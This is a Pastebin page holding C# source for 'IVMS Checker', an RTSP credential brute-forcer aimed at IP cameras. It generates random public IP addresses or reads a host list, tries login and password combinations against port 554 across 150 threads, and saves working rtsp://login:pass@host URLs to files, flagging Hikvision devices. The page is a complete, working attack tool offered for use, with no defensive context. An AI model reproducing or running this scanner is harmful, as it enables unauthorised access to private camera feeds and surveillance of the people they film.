Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Net.Sockets;
- using System.Threading.Tasks;
- using System.Text;
- using System.IO;
- using System.Diagnostics;
- namespace IVMSC2
- {
- class MainClass
- {
- const string _passFile = "Passwords.txt";
- const string _loginFile = "Logins.txt";
- const string _hostsFile = "Hosts.txt";
- const string _goodsFile = "Good.txt";
- const string _goodsFile2 = "Good2.txt";
- const string _defaultLogin = "admin";
- const string _defaultPass = "12345";
- static string[] passwds, logins;
- private static readonly AutoResetEvent reset = new AutoResetEvent(false);
- private const int MaxThread = 150; // максимальное кол-во потоков
- private static int threads = 0;
- public static void Check(string ip)
- {
- string host = ip;
- Console.WriteLine ("Scan: {0}", host);
- bool again = true;
- for (uint j = 0; j < logins.Length; j++) {
- for (uint i = 0; i < passwds.Length; i++) {
- Console.WriteLine ("Host: {0} Login: {1} Pass: {2}", host, logins [j], passwds [i]);
- using (var tcp = new RtpsCLient (host, logins [j], passwds [i])) {
- try {
- var req1 = tcp.SendPacket (string.Empty, RtpsCLient.Commands.Describe);
- Debug.WriteLine (req1);
- //var req2 = tcp.SendPacket("movie.mjpeg", RtpsCLient.Commands.Setup);
- //Debug.WriteLine(request2);
- var sr = new StringReader (req1);
- switch (sr.ReadLine ()) {
- case "RTSP/1.0 200 OK":
- again = false;
- Console.WriteLine ("\tHost: {0}; Login: {1}; Pass: {2}", host, logins [j], passwds [i]);
- if (req1.Contains ("a=control:rtsp://")//hikvision sign1
- || req1.Contains ("Media Presentation")) { //hikvision sign2
- File.AppendAllText (_goodsFile2, string.Format ("rtsp://{0}:{1}@{2}" + Environment.NewLine, logins [j], passwds [i], host));
- }
- File.AppendAllText (_goodsFile, string.Format ("rtsp://{0}:{1}@{2}" + Environment.NewLine, logins [j], passwds [i], host));
- Console.Beep();
- break;
- case "RTSP/1.0 401 Unauthorized":
- break;
- }
- } catch (Exception ex) {
- var socketException = ex as SocketException;
- if (socketException != null) {
- again &= socketException.ErrorCode != 10060;
- } else {
- //Debug.WriteLine (ex);
- }
- } finally {
- tcp.Close ();
- }
- }
- if (!again) {
- return;
- }
- }
- }
- }
- public static int RandNumber(int Low, int High)
- {
- var rndNum = new Random(int.Parse(Guid.NewGuid().ToString().Substring(0, 8), System.Globalization.NumberStyles.HexNumber));
- int rnd = rndNum.Next(Low, High);
- return rnd;
- }
- public static void Main (string[] args)
- {
- //Console.WriteLine ("IVMS Checker v2.4");
- if (!File.Exists (_passFile) || !File.Exists (_loginFile)) {
- passwds = new []{ _defaultPass };
- logins = new []{ _defaultLogin };
- } else {
- passwds = File.ReadAllLines (_passFile);
- logins = File.ReadAllLines (_loginFile);
- }
- Console.WriteLine ("Паролей загружено: {0}", passwds.Length);
- Console.WriteLine ("Логиней загружено: {0}", logins.Length);
- if (!File.Exists (_hostsFile)) {
- var r = new Random ();
- for (;;) {
- threads = threads + 1;
- String randomIp = String.Copy (string.Format ("{0}.{1}.{2}.{3}",
- RandNumber (1, 255),
- RandNumber (0, 255),
- RandNumber (0, 255),
- RandNumber (0, 255)));
- new Thread (() => {
- Check (randomIp);
- threads = threads - 1;
- reset.Set ();
- }).Start ();
- if (threads >= MaxThread)
- reset.WaitOne ();
- Debug.WriteLine (threads);
- }
- } else {
- using (var r = new StreamReader (_hostsFile)) {
- string hostLine;
- while ((hostLine = r.ReadLine ()) != null) {
- threads = threads + 1;
- String ip = String.Copy (hostLine);
- new Thread (() => {
- Check (ip);
- threads = threads - 1;
- reset.Set ();
- }).Start ();
- if (threads >= MaxThread)
- reset.WaitOne ();
- }
- //ждать завершения всех потоков
- while (threads > 0) {
- Debug.WriteLine (threads);
- reset.WaitOne ();
- }
- }
- }
- Debug.WriteLine ("done");
- }
- }
- class RtpsCLient : IDisposable
- {
- public enum Commands
- {
- Describe,
- Setup,
- Play,
- Pause,
- Teardown
- }
- private readonly string hostname;
- private readonly int port;
- private string login;
- private string pass;
- private readonly int connectTimeout;
- private readonly int receiveTimeout;
- private readonly int sendTimeout;
- private TcpClient client;
- private int csep = 0;
- private string session;
- private int UDPLocalPort=0;
- public RtpsCLient(string hostname, string login, string pass, ushort port = 554,
- int connectTimeout = 8000,
- int receiveTimeout = 8000,
- int sendTimeout = 8000)
- {
- this.hostname = hostname;
- this.port = (int)port;
- this.connectTimeout = connectTimeout;
- this.sendTimeout = sendTimeout;
- this.receiveTimeout = receiveTimeout;
- this.login = login;
- this.pass = pass;
- }
- public void Dispose()
- {
- Close ();
- }
- public void Close()
- {
- if (client == null)
- return;
- client.Close ();
- client = null;
- }
- public string SendPacket(string path, Commands command)
- {
- var builder = new StringBuilder ();
- var auth64 = Convert.ToBase64String (Encoding.ASCII.GetBytes (string.Format ("{0}:{1}", login, pass)));
- switch (command) {
- case Commands.Describe:
- builder.AppendFormat ("DESCRIBE {0}/{1} RTSP/1.0\r\n", hostname, path);
- builder.AppendFormat ("CSeq: {0}\r\n", csep + 1);
- if (!string.IsNullOrEmpty (login) && !string.IsNullOrEmpty (pass))
- builder.AppendFormat ("Authorization: Basic {0}\r\n", auth64);
- break;
- /*case Commands.Setup:
- builder.AppendFormat ("SETUP {0}/{1} RTSP/1.0\r\n", hostname, path);
- builder.AppendFormat ("Cseq: {0}\r\n", csep + 1);
- builder.AppendFormat ("Transport: RTP/UDP; client_port= {0}\r\n", UDPLocalPort);
- if (!string.IsNullOrEmpty (login) && !string.IsNullOrEmpty (pass))
- builder.AppendFormat ("Authorization: Basic {0}\r\n", auth64);
- break;
- case Commands.Play:
- builder.AppendFormat ("PLAY {0}/{1} RTSP/1.0\r\n", hostname, path);
- builder.AppendFormat ("Cseq: {0}\r\n", csep + 1);
- builder.AppendFormat ("Session: {0}\r\n", session);
- if (!string.IsNullOrEmpty (login) && !string.IsNullOrEmpty (pass))
- builder.AppendFormat ("Authorization: Basic {0}\r\n", auth64);
- break;
- case Commands.Pause:
- builder.AppendFormat ("PAUSE {0}/{1} RTSP/1.0\r\n", hostname, path);
- builder.AppendFormat ("Cseq: {0}\r\n", csep + 1);
- builder.AppendFormat ("Session: {0}\r\n", session);
- if (!string.IsNullOrEmpty (login) && !string.IsNullOrEmpty (pass))
- builder.AppendFormat ("Authorization: Basic {0}\r\n", auth64);
- break;
- case Commands.Teardown:
- builder.AppendFormat ("TEARDOWN {0}/{1} RTSP/1.0\r\n", hostname, path);
- builder.AppendFormat ("Cseq: {0}\r\n", csep + 1);
- builder.AppendFormat ("Session: {0}\r\n", session);
- if (!string.IsNullOrEmpty (login) && !string.IsNullOrEmpty (pass))
- builder.AppendFormat ("Authorization: Basic {0}\r\n", auth64);
- break;*/
- }
- builder.Append ("\r\n");
- var packet = Encoding.ASCII.GetBytes (builder.ToString ());
- var received = SendAndReceive (packet);
- return received;
- }
- private string SendAndReceive(byte[] message)
- {
- return SendAndReceiveAsync (message).Result;
- }
- private async Task<string> SendAndReceiveAsync(byte[] message)
- {
- var tcpStream = await GetNetworkStream ();
- await WriteRequest (message, tcpStream);
- var response = await ReadResponseAsync (tcpStream);
- return response;
- }
- private async Task<string> ReadResponseAsync(Stream tcpStream)
- {
- var bytes = new byte[client.ReceiveBufferSize];
- await Task.WhenAny (
- tcpStream.ReadAsync (bytes, 0, bytes.Length),
- Task.Delay (this.receiveTimeout)
- );
- return Encoding.ASCII.GetString (bytes);
- }
- private async Task WriteRequest(byte[] message, Stream tcpStream)
- {
- tcpStream.Write (message, 0, message.Length);
- await tcpStream.FlushAsync ();
- }
- private async Task<NetworkStream> GetNetworkStream()
- {
- if (client == null) {
- var c = new TcpClient ();
- if (this.connectTimeout > 0) {
- await Task.WhenAny (
- c.ConnectAsync (hostname, port),
- Task.Delay (this.connectTimeout)
- );
- if (!c.Connected) {
- throw new SocketException (10060);
- }
- } else {
- await c.ConnectAsync (hostname, port);
- }
- client = c;
- //client.SendTimeout = this.sendTimeout;
- //client.ReceiveTimeout = this.receiveTimeout;
- }
- return client.GetStream ();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment